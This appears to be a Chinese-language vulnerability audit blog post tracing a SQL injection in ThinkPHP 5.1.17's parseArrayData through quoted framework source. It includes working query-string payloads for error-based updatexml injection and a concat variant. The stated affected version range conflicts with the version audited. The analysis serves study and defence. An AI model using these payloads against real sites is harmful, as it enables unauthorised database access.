前言
之前审计的是5.0.15的parseData函数漏洞导致的SQL注入。这次审的是5.1.17的parseArrayData函数漏洞导致的SQL注入。影响版本:
5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。
composer create-project topthink/think=5.1.17 thinkphp5.1.17
然后改一下composer.json,再composer update就好了。
然后设置一下database.php:
index控制器里面写update:
public function index()
{
$username = request()->get('username');//以数组的格式获取$_GET中的username变量,然后作为参数传入insert()
db('users')->where(['id' => 15])->update(['username' => $username]);
return 'Update success';
}
分析
这次是update注入。还是老套路,先把/a
给去掉,正常的走一遍update,看看thinkphp是怎么处理的。
?username=111
先跟进一下where()方法:
$param
先获得一个数组作为元素,即['id'=>15]
,然后再把它弹出去,没什么用。
跟进parseWhereExp()
方法,在这里return:
主要就是对$this->options['where']
进行了处理:
再跟进update方法:
parseOptions主要就是影响options,产生很多无用的键,增加了'table'=>'users'
这个键。然后把这个数组给$this->options['data']
:
再跟进$this->connection->update()
方法,在这里产生SQL语句:
再跟进一下这个$this->builder->update()
方法,看一下SQL语句的产生:
/**
* 生成update SQL
* @access public
* @param Query $query 查询对象
* @return string
*/
public function update(Query $query)
{
$options = $query->getOptions();
$table = $this->parseTable($query, $options['table']);
$data = $this->parseData($query, $options['data']);
if (empty($data)) {
return '';
}
foreach ($data as $key => $val) {
$set[] = $key . ' = ' . $val;
}
'UPDATE %TABLE% SET %SET%%JOIN%%WHERE%%ORDER%%LIMIT% %LOCK%%COMMENT%';
return str_replace(
['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'],
[
$this->parseTable($query, $options['table']),
implode(' , ', $set),
$this->parseJoin($query, $options['join']),
$this->parseWhere($query, $options['where']),
$this->parseOrder($query, $options['order']),
$this->parseLimit($query, $options['limit']),
$this->parseLock($query, $options['lock']),
$this->parseComment($query, $options['comment']),
],
$this->updateSql);
}
先看一眼下面,和之前的insert注入一样都是直接的替换,没看上面的代码逻辑之前先大胆猜测一下,这个SQL注入可能还是因为正常注入用的是预编译,但是对于处理数据的时候出了问题,导致可以直接拼接恶意代码而不是预编译。跟进一下这两行代码:
parseTable()
利用不大,最终产生这个:
跟进一下parseData:
/**
* 数据分析
* @access protected
* @param Query $query 查询对象
* @param array $data 数据
* @param array $fields 字段信息
* @param array $bind 参数绑定
* @param string $suffix 参数绑定后缀
* @return array
*/
protected function parseData(Query $query, $data = [], $fields = [], $bind = [], $suffix = '')
{
if (empty($data)) {
return [];
}
$options = $query->getOptions();
// 获取绑定信息
if (empty($bind)) {
$bind = $this->connection->getFieldsBind($options['table']);
}
if (empty($fields)) {
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($query, $key);
if ($val instanceof Expression) {
$result[$item] = $val->getValue();
continue;
} elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $this->connection->getFieldsType($options['table'], $key))) {
$val = json_encode($val);
} elseif (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false !== strpos($key, '->')) {
list($key, $name) = explode('->', $key);
$item = $this->parseKey($query, $key);
$result[$item] = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this->parseDataBind($query, $key, $val, $bind, $suffix) . ')';
} elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'INC':
$result[$item] = $item . ' + ' . floatval($val[1]);
break;
case 'DEC':
$result[$item] = $item . ' - ' . floatval($val[1]);
break;
default:
$value = $this->parseArrayData($query, $val);
if ($value) {
$result[$item] = $value;
}
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
$result[$item] = $this->parseDataBind($query, $key, $val, $bind, $suffix);
}
}
return $result;
}
和insert的那个函数处理的大致逻辑都差不多,最终会进入的是这个if:
跟进一下parseDateBind()
函数:
/**
* 数据绑定处理
* @access protected
* @param Query $query 查询对象
* @param string $key 字段名
* @param mixed $data 数据
* @param array $bind 绑定数据
* @param string $suffix 绑定后缀
* @return string
*/
protected function parseDataBind(Query $query, $key, $data, $bind = [], $suffix = '')
{
// 过滤非标量数据
if (0 === strpos($data, ':') && $query->isBind(substr($data, 1))) {
return $data;
}
$key = str_replace(['.', '->'], '_', $key);
$name = 'data__' . $key . $suffix;
$query->bind($name, $data, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
return ':' . $name;
}
逻辑比较简单,就是产生:data_username
的预编译。整个parseData产生的data是这样:
再经过foreach,产生这样的$set
数组:
再经过str_replace(),产生SQL语句:
UPDATE `users` SET `username` = :data__username WHERE `id` = :where_AND_id
再进行执行:
跟进execute()
函数,一样的逻辑了。先prepare()
,再进行预编译参数绑定,最后执行。
正常的执行整个过程无法SQL注入,还是因为预编译。接下来index控制器改成username/a
,再审一下parseData()函数,还是老地方:
5.1.17这个版本已经修复了之前的insert中的那种sql注入漏洞,username[0]=INC或者username[0]=DEC也无法控制替换的内容。但是这里多了个default。跟进一下这个新的parseArrayDate()
方法:
/**
* 数组数据解析
* @access protected
* @param Query $query 查询对象
* @param array $data
* @return mixed
*/
protected function parseArrayData(Query $query, $data)
{
list($type, $value) = $data;
switch (strtolower($type)) {
case 'point':
$fun = isset($data[2]) ? $data[2] : 'GeomFromText';
$point = isset($data[3]) ? $data[3] : 'POINT';
if (is_array($value)) {
$value = implode(' ', $value);
}
$result = $fun . '(\'' . $point . '(' . $value . ')\')';
break;
default:
$result = false;
}
return $result;
}
首先把数组的值赋值给一组变量,另$type
是point即可以进入case,即?username[0]=point
。最终$result
的相当于这样:
$result=$username[2].'(\''.$username[3]. '(' . $username[1] . ')\')';
这个形式非常像这个:
updatexml(1,concat(0x7e,database(),0x7e),1)
可以构造一波:
?username[0]=point&username[1]=0x7e,database(),0x7e),'1&username[2]=updatexml&username[3]=1',concat
相当于构造的SQL语句是这样:
UPDATE `users` SET `username` = updatexml('1',concat(0x7e,database(),0x7e),'1)') WHERE `id` = 15
成功实现报错注入:
如果可以存在回显的话,也可以考虑二次注入:
?username[0]=point&username[1]=1&username[2]=concat&username[3]=',database(),'
产生的SQL语句如下:
UPDATE `users` SET `username` = concat('',database(),'(1)') WHERE `id` = 15
修复
这张图是从别的师傅的博客里找的:
官方是直接把这个default给删除了。不过我去github上并没有找到这个,可能是我找的有问题叭。。。